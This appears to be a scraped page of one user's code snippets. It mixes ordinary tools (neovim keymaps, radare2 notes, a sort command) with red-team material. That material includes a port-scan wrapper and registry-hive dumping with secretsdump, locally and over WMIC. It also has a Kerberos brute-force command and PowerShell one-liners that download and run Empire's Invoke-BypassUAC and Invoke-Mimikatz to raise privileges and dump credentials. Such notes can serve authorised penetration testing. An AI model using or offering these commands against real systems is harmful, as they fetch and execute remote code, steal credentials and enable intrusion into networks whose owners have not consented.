adamdekan

import csv
import argparse
import os

parser = argparse.ArgumentParser()
parser.add_argument('number', type=str)
parser.add_argument('-o', type=str, help='Output folder for files')
args = parser.parse_args()
ports = args.number.split(',')

adamdekan

cmd () {
  arg=${1}
  print -z -- $(rg ^$1 ~/obsidian/ |  sed 's/^[^:]*://' | fzf )
}

adamdekan

#!/bin/bash

# Check if the correct number of arguments is provided
if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <target_host> <output_folder>"
    exit 1
fi

# Replace 'localhost' with the target host parameter
rustscan -a "$1" -g | sed 's/.*\[\(.*\)\].*/\1/' | xargs python3 ~/python/portidentify.py -o "$2"

adamdekan

reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

#https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py

#Do this remotely
wmic /node:"<computer_name>" /user:"<username>" /password:"<password>" process call create "cmd.exe /c reg save hklm\sam C:\temp\sam.save"

adamdekan

radare2

load without any analysis (file header at offset 0x0): r2 -n /path/to/file

• analyze all: aa
• show sections: iS
• list functions: afl
• list imports: ii
• list entrypoints: ie
• seek to function: s sym.main

adamdekan

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

adamdekan

Active Directory Cheatsheet

AD Enumeration

• Users / Groups / Computers
• Domain Controller
• Service Principal Names (SPNs)
• Logged-in Users and Active User Sessions

AD Authentication

• Dumping NTLM hashes and Plaintext Credentials

adamdekan

[+] Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

#Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

#Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

#Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"

adamdekan

vim.keymap.set({ 'n', 'v' }, '<Space>', '<Nop>', { silent = true })
vim.keymap.set({ 'n', 'v' }, '<C-s>', ':w<enter>', { silent = true })
vim.keymap.set({ 'n', 'v' }, '<leader>rr', ':w<enter>:!python3 %<enter>', { silent = true , desc = 'Run Python file'})
vim.keymap.set({ 'n', 'v' }, '<C-d>', '<C-d>zz', { silent = true })
vim.keymap.set({ 'n', 'v' }, '<C-u>', '<C-u>zz', { silent = true })
vim.keymap.set('n', '<leader>qq', ':q!<enter>', { silent = true })
vim.keymap.set('n', 'n', 'nzz', { silent = true })
vim.keymap.set('n', 'N', 'Nzz', { silent = true })
vim.keymap.set('n', '*', '*zz', { silent = true })
vim.keymap.set('n', '<S-h>', ':bprevious<enter>', { silent = true })

adamdekan

sort -t . -k 3,3n -k 4,4n